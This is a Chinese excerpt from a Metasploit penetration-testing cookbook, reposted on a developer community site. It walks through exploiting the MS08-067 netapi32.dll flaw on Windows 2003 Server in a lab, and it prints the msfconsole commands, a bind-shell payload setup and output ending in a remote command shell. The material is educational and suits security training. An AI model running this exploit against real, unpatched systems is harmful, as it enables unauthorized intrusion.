《Metasploit渗透测试手册》—第3章3.5节在Windows 2003 Server上进行渗透测试-阿里云开发者社区

开发者社区> 安全> 正文

《Metasploit渗透测试手册》—第3章3.5节在Windows 2003 Server上进行渗透测试

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.5节在Windows 2003 Server上进行渗透测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.5 在Windows 2003 Server上进行渗透测试
Metasploit渗透测试手册
在上一节中,我们介绍了怎样使用dcom漏洞利用代码,引发Windows目标机器的缓冲区溢出,并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境,Windows 2003 Server是微软应用最广泛的企业级操作系统之一,本节将介绍怎样对其进行攻击渗透,由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞,所以本节中将尝试使用其他漏洞,即netapi32.dll漏洞。首先分析该漏洞的工作过程,然后分析该漏洞成因。

准备
首先启动msfconsole,并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤,以便增强理解和掌握。下面的内容和前两节讲述的是相同的,差别在于使用的漏洞利用代码不同。

怎样实现
若要在Windows 2003 Server上执行渗透测试,遵循如下步骤。

(1)首先搜索netapi,列出Metasploit框架中所有与netapi相关的漏洞利用代码。

msf > search netapi
Matching Modules
================
   Name                                   Disclosure Date     Rank    
   ----                                   ---------------     ----       
exploit/windows/smb/ms03_049_netapi     2003-11-11       good
exploit/windows/smb/ms06_040_netapi     2006-08-08       good  
exploit/windows/smb/ms06_070_wkssvc     2006-11-14       manual  
exploit/windows/smb/ms08_067_netapi     2008-10-28       great

从结果可以看到,列出的4个结果中,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。

(2)将RHOST设置为Windows 2003 Server目标机器。

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                      yes        The target address
   RPORT    445              yes        Set the SMB service port
   SMBPIPE  BROWSER          yes        The pipe name to use 
(BROWSER, SRVSVC)
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf  exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102

Id值为0的含义是不需要指定目标操作系统。

(3)完成漏洞利用代码加载后,设置攻击载荷。这里仍然设置tcp_bind攻击载荷,以便获取目标机器的shell,如前面所讨论的。

msf  exploit(ms08_067_netapi) > set payload 
windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置完毕,最后使用exploit命令并分析该命令的执行结果。

msf  exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 -> 
192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:\WINDOWS\system32>

从结果可以看到攻击成功,并建立了到目标主机的shell连接,可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大,在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。

怎样工作
该模块利用了Server服务中的漏洞,即netapi32.dll执行路径连接代码中的分析漏洞,在某些操作系统和服务包中,该漏洞可以绕过NX特性。可用于防止Server服务(以及同一进程中的其他服务)崩溃。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
+ 订阅

云安全开发者的大本营

其他文章